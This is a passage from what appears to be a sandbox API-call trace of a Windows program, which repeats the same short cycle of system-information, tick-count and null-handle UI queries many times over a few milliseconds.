lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.874] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.874] GetTickCount () returned 0x17fd9 [0026.874] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.874] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.874] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.875] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.875] GetTickCount () returned 0x17fd9 [0026.875] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.875] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.875] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.875] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.875] GetTickCount () returned 0x17fd9 [0026.875] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.875] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.875] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.875] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.875] GetTickCount () returned 0x17fd9 [0026.875] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.875] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.875] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.875] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.875] GetTickCount () returned 0x17fd9 [0026.875] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.875] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.875] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.875] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.875] GetTickCount () returned 0x17fd9 [0026.875] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.875] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.875] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.876] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.876] GetTickCount () returned 0x17fd9 [0026.876] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.876] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.876] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.876] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.876] GetTickCount () returned 0x17fd9 [0026.876] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.876] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.876] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.876] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.876] GetTickCount () returned 0x17fd9 [0026.876] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.876] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.876] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.876] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.876] GetTickCount () returned 0x17fd9 [0026.876] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.876] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.876] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.876] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.876] GetTickCount () returned 0x17fd9 [0026.876] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.876] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.876] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.877] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.877] GetTickCount () returned 0x17fd9 [0026.877] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.877] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.877] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.877] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.877] GetTickCount () returned 0x17fd9 [0026.877] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.877] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.877] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.877] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.877] GetTickCount () returned 0x17fd9 [0026.877] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.877] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.877] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.877] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.877] GetTickCount () returned 0x17fd9 [0026.877] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.877] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.877] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.877] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.877] GetTickCount () returned 0x17fd9 [0026.877] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.877] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.877] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.877] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.878] GetTickCount () returned 0x17fd9 [0026.878] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.878] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.878] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.878] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.878] GetTickCount () returned 0x17fd9 [0026.878] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.878] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.878] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.878] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.878] GetTickCount () returned 0x17fd9 [0026.878] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.878] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.878] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.878] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.878] GetTickCount () returned 0x17fd9 [0026.878] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.878] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.878] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.878] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.878] GetTickCount () returned 0x17fd9 [0026.878] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.878] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.878] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.879] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.879] GetTickCount () returned 0x17fd9 [0026.879] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.879] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.879] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.879] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.879] GetTickCount () returned 0x17fd9 [0026.879] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.879] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.879] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.879] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.879] GetTickCount () returned 0x17fd9 [0026.879] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.879] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.879] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.879] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.879] GetTickCount () returned 0x17fd9 [0026.879] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.879] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.879] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.879] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.879] GetTickCount () returned 0x17fd9 [0026.879] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.879] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.879] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.880] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.880] GetTickCount () returned 0x17fd9 [0026.880] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.880] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.880] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.880] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.880] GetTickCount () returned 0x17fd9 [0026.880] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.880] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.880] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.880] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.880] GetTickCount () returned 0x17fd9 [0026.880] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.880] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.880] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.880] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.880] GetTickCount () returned 0x17fd9 [0026.880] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.880] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.880] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.880] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.880] GetTickCount () returned 0x17fd9 [0026.880] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.880] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.880] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.880] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.881] GetTickCount () returned 0x17fd9 [0026.881] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.881] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.881] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.881] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.881] GetTickCount () returned 0x17fd9 [0026.881] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.881] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.881] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.881] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.881] GetTickCount () returned 0x17fd9 [0026.881] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.881] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.881] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.881] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.881] GetTickCount () returned 0x17fd9 [0026.881] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.881] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.881] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.881] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.881] GetTickCount () returned 0x17fd9 [0026.881] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.881] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.881] 